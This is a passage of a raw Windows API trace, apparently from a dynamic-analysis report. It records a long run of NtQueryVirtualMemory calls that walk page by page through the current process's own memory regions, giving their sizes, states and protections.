AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x17000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.515] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x7f000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x7f000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x16000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.515] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x80000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x80000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x15000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.515] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x81000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x81000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x14000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.515] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x82000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x82000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x13000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.515] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x83000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x83000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x12000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.515] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x84000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x84000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x11000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.516] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x85000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x85000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x10000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.516] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x86000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x86000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0xf000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.516] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x87000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x87000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0xe000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.516] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x88000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x88000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0xd000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.516] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x89000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x89000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0xc000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.516] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x8a000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x8a000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0xb000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.516] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x8b000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x8b000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0xa000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.516] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x8c000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x8c000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x9000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.516] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x8d000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x8d000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x8000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.516] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x8e000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x8e000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x7000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.516] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x8f000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x8f000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x6000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.516] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x90000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x90000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x5000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.516] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x91000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x91000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x4000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.516] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x92000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x92000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x3000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.516] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x93000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x93000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x2000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.516] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x94000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x94000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.516] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x95000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x95000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.516] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x96000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x96000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.516] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x97000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x97000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x104, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.516] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x98000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x98000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x8000, State=0x1000, Protect=0x4, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.516] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x99000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x99000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x7000, State=0x1000, Protect=0x4, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.516] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x9a000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x9a000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x6000, State=0x1000, Protect=0x4, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.516] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x9b000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x9b000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.516] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x9c000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x9c000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.517] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x9d000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x9d000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.517] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x9e000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x9e000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x4, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.517] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x9f000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x9f000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.517] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xa0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0xa0000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xfb000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.517] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xa1000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0xa1000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xfa000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.517] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xa2000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0xa2000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xf9000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.517] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xa3000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0xa3000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xf8000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.517] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xa4000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0xa4000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xf7000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.517] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xa5000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0xa5000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xf6000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.517] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xa6000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0xa6000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xf5000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.517] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xa7000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0xa7000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xf4000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.517] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xa8000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0xa8000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xf3000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.517] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xa9000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0xa9000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xf2000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.517] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xaa000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0xaa000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xf1000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.517] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xab000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0xab000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xf0000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.517] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xac000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0xac000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xef000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.517] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xad000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0xad000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xee000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.517] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xae000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0xae000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xed000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.517] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xaf000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0xaf000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xec000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.517] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xb0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0xb0000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xeb000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.517] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xb1000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0xb1000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xea000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.517] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xb2000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0xb2000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xe9000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.517] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xb3000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0xb3000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xe8000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.518] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xb4000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0xb4000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xe7000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.518] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xb5000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0xb5000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xe6000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.518] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xb6000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0xb6000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xe5000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.518] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xb7000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0xb7000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xe4000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.518] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xb8000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0xb8000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xe3000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.518] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xb9000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0xb9000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xe2000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.518] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xba000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0xba000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xe1000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.518] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xbb000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0xbb000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xe0000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.518] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xbc000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0xbc000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xdf000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.518] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xbd000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0xbd000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xde000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.518] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xbe000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0xbe000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xdd000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.518] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xbf000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0xbf000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xdc000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.518] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xc0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0xc0000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xdb000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.518] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xc1000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0xc1000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xda000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.518] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xc2000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0xc2000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xd9000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.518] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xc3000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0xc3000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xd8000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.518] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xc4000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0xc4000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xd7000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.518] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xc5000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0xc5000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xd6000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.518] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xc6000, VirtualMemoryInformationClass=0x0, 